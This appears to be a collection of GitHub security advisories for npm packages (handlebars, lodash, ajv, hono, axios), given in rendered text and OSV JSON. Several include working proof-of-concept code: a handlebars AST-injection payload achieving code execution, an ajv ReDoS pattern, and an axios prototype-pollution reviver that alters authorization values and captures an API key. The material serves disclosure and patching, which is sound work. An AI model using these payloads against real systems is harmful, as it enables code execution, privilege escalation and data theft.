All four legacy accessor helpers (__defineGetter__, __defineSetter__, __lookupGetter__, __lookupSetter__) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; __lookupSetter__ was left out.
When allowProtoMethodsByDefault: true is set, any prototype method not present in methodWhiteList is permitted by default. Because __lookupSetter__ is absent from the list, it passes the checkWhiteList check and is accessible in templates, while __lookupGetter__ (its sibling) is correctly denied.
Workarounds
- Do not set
allowProtoMethodsByDefault: true. The default configuration is not affected. - If
allowProtoMethodsByDefaultmust be enabled, ensure templates do not reference__lookupSetter__through untrusted input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:17:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set \u2014 in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList[\u0027constructor\u0027] = false;\nmethodWhiteList[\u0027__defineGetter__\u0027] = false;\nmethodWhiteList[\u0027__defineSetter__\u0027] = false;\nmethodWhiteList[\u0027__lookupGetter__\u0027] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here \u2014 creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.",
"id": "GHSA-7rx3-28cr-v5wh",
"modified": "2026-03-29T15:17:15Z",
"published": "2026-03-29T15:17:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-765h-qjxv-5f44"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry"
}
GHSA-XHPV-HC6G-R9C6
Vulnerability from github – Published: 2026-03-27 18:21 – Updated: 2026-03-30 20:08Summary
A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.
Description
The vulnerable code path spans two functions in lib/handlebars/runtime.js:
resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.
invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.
Minimum prerequisites:
1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
2. The adversary can set the value of the looked-up context property to a crafted object.
In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.
Proof of Concept
const Handlebars = require('handlebars');
const vulnerableTemplate = `{{> (lookup . "payload")}}`;
const maliciousContext = {
payload: {
call: true, // bypasses the primary resolvePartial branch
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Injected code breaks out of the generated function's argument list
depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Withoutcompile(), the fallback compilation path ininvokePartialis unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
- Avoid dynamic partial lookups (
{{> (lookup ...)}}) when context data is user-controlled.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33940"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:21:44Z",
"nvd_published_at": "2026-03-27T22:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{\u003e (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\nconst vulnerableTemplate = `{{\u003e (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function\u0027s argument list\n depth: \"0])),function () {console.error(\u0027VULNERABLE: object -\u003e dynamic partial -\u003e RCE\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -\u003e dynamic partial -\u003e RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{\u003e (lookup ...)}}`) when context data is user-controlled.",
"id": "GHSA-xhpv-hc6g-r9c6",
"modified": "2026-03-30T20:08:33Z",
"published": "2026-03-27T18:21:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33940"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial"
}
GHSA-R5FR-RJXR-66JC
Vulnerability from github – Published: 2026-04-01 23:51 – Updated: 2026-04-01 23:51Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().
Patches
Users should upgrade to version 4.18.0.
The fix applies two changes:
1. Validate importsKeys against the existing reForbiddenIdentifierChars regex (same check already used for the variable option)
2. Replace assignInWith with assignWith when merging imports, so only own properties are enumerated
Workarounds
Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-es"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-amd"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "lodash.template"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4800"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:51:12Z",
"nvd_published_at": "2026-03-31T20:16:29Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink.\n\nWhen an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`.\n\n### Patches\n\nUsers should upgrade to version 4.18.0.\n\nThe fix applies two changes:\n1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option)\n2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated\n\n### Workarounds\n\nDo not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.",
"id": "GHSA-r5fr-rjxr-66jc",
"modified": "2026-04-01T23:51:12Z",
"published": "2026-04-01T23:51:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm"
},
{
"type": "PACKAGE",
"url": "https://github.com/lodash/lodash"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "lodash vulnerable to Code Injection via `_.template` imports key names"
}
GHSA-2G4F-4PWH-QVX6
Vulnerability from github – Published: 2026-02-11 21:30 – Updated: 2026-03-02 21:58ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., \"^(a|a)*$\") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ajv"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-alpha.0"
},
{
"fixed": "8.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ajv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69873"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-17T16:38:57Z",
"nvd_published_at": "2026-02-11T19:15:50Z",
"severity": "MODERATE"
},
"details": "ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\\\"^(a|a)*$\\\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.",
"id": "GHSA-2g4f-4pwh-qvx6",
"modified": "2026-03-02T21:58:39Z",
"published": "2026-02-11T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/pull/2586"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/pull/2588"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/pull/2590"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6991"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5"
},
{
"type": "WEB",
"url": "https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-2g4f-4pwh-qvx6"
},
{
"type": "PACKAGE",
"url": "https://github.com/ajv-validator/ajv"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/releases/tag/v6.14.0"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/releases/tag/v8.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "ajv has ReDoS when using `$data` option"
}
GHSA-P77W-8QQV-26RM
Vulnerability from github – Published: 2026-05-09 00:28 – Updated: 2026-05-14 20:35Summary
Cache Middleware does not skip caching for responses that declare per-user variance via Vary: Authorization or Vary: Cookie. As a result, a response cached for one authenticated user may be served to subsequent requests from different users.
Details
The Cache Middleware skips caching when a response carries Vary: *, certain Cache-Control directives (private, no-store, no-cache), or Set-Cookie. However, Vary: Authorization and Vary: Cookie — the standard signals defined in RFC 9110 / RFC 9111 to indicate per-user responses — are not treated as cache-skip reasons.
This issue arises when applications use the Cache Middleware on endpoints that return user-specific data and rely on Vary: Authorization or Vary: Cookie to scope the response per user, without also setting Cache-Control: private.
Impact
A user may receive a cached response that was originally generated for a different authenticated user. This may lead to:
- Disclosure of personally identifiable information or other user-specific data present in the response body
- Inconsistent or incorrect behavior in user-specific endpoints
This issue affects applications that use the Cache Middleware on endpoints whose responses vary by Authorization or Cookie and that do not also set Cache-Control: private.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44457"
],
"database_specific": {
"cwe_ids": [
"CWE-524"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-09T00:28:46Z",
"nvd_published_at": "2026-05-13T16:16:57Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nCache Middleware does not skip caching for responses that declare per-user variance via `Vary: Authorization` or `Vary: Cookie`. As a result, a response cached for one authenticated user may be served to subsequent requests from different users.\n\n### Details\n\nThe Cache Middleware skips caching when a response carries `Vary: *`, certain `Cache-Control` directives (`private`, `no-store`, `no-cache`), or `Set-Cookie`. However, `Vary: Authorization` and `Vary: Cookie` \u2014 the standard signals defined in RFC 9110 / RFC 9111 to indicate per-user responses \u2014 are not treated as cache-skip reasons.\n\nThis issue arises when applications use the Cache Middleware on endpoints that return user-specific data and rely on `Vary: Authorization` or `Vary: Cookie` to scope the response per user, without also setting `Cache-Control: private`.\n\n### Impact\n\nA user may receive a cached response that was originally generated for a different authenticated user. This may lead to:\n\n- Disclosure of personally identifiable information or other user-specific data present in the response body\n- Inconsistent or incorrect behavior in user-specific endpoints\n\nThis issue affects applications that use the Cache Middleware on endpoints whose responses vary by `Authorization` or `Cookie` and that do not also set `Cache-Control: private`.",
"id": "GHSA-p77w-8qqv-26rm",
"modified": "2026-05-14T20:35:40Z",
"published": "2026-05-09T00:28:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-p77w-8qqv-26rm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44457"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono\u0027s Cache Middleware ignores Vary: Authorization / Vary: Cookie leading to cross-user cache leakage"
}
GHSA-3W6X-2G7M-8V23
Vulnerability from github – Published: 2026-05-05 00:19 – Updated: 2026-05-05 00:19Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because:
1. No constraints — the reviver can return any value (no "must return true" requirement)
2. Selective modification — individual JSON keys can be changed while others remain untouched
3. Invisible — the response structure and most values look completely normal
4. Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured |
| Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) |
|---|---|---|---|---|
| PP target | Object.prototype['header'] |
Object.prototype.transformResponse |
Object.prototype.proxy |
Object.prototype.parseReviver |
| Fixed by 1.15.0? | Yes | No | No | No |
| Constraints | N/A (fixed) | Must return true |
None | None |
| Data modification | Header injection only | Response replaced with true |
Full MITM | Selective per-key modification |
| Stealth | Request anomaly visible | Response becomes true (obvious) |
Proxy visible in network | Completely invisible |
| Data access | Headers only | this.auth + raw response |
All traffic | Every JSON key-value pair |
| Validated? | N/A | assertOptions validates |
Not validated | Not validated |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
-
Not in defaults (
lib/defaults/index.js):parseReviveris not defined in the defaults object, somergeConfig'sObject.keys({...defaults, ...userConfig})iteration never encounters it. The merged config has no ownparseReviverproperty. -
Not in assertOptions schema (
lib/core/Axios.js:135-142): The schema only contains{baseUrl, withXsrfToken}.parseReviveris not validated. -
No type check: The
JSON.parseAPI accepts any function as a reviver. There is no check thatthis.parseReviveris intentionally set. -
Works INSIDE the default transform: Unlike
transformResponsepollution (which replaces the entire transform and is caught byassertOptions),parseReviverpollution injects into the DEFAULTtransformResponsefunction'sJSON.parsecall. The default function itself is not replaced, soassertOptionshas nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
transformResponse: [
function transformResponse(data) {
// ... transitional checks ...
if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
// ...
try {
return JSON.parse(data, this.parseReviver);
// ^^^^^^^^^^^^^^^^^
// this = config
// config.parseReviver → prototype chain → attacker's function
} catch (e) {
// ...
}
}
return data;
},
],
Proof of Concept
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
- Affects every Axios request that receives a JSON response
- The response structure is intact — only specific values are changed
- No errors, no crashes, no suspicious behavior
- Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | transformResponse |
mergeConfig.js:49 (defaultToConfig2) |
mergeConfig.js |
Credential theft, response replaced with true |
| axios_30 | proxy |
http.js:670 (direct property access) |
http.js |
Full MITM, traffic interception |
| axios_31 (this) | parseReviver |
defaults/index.js:124 (this.parseReviver) |
defaults/index.js |
Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
- Different polluted properties: Each targets a different
Object.prototypekey. - Different code paths:
transformResponseenters viamergeConfig;proxyis read directly byhttp.js;parseReviveris read inside the defaulttransformResponsefunction'sJSON.parsecall. - Different fix locations: Fixing
mergeConfig.js(axios_26) does NOT fixdefaults/index.js:124(this vulnerability). Fixinghttp.js:670(axios_30) does NOT fix this either. Each requires a separate patch. - Different impact profiles:
transformResponseis constrained to returntrue;proxyrequires a proxy server;parseReviverenables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
- CWE-1321: Prototype Pollution
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
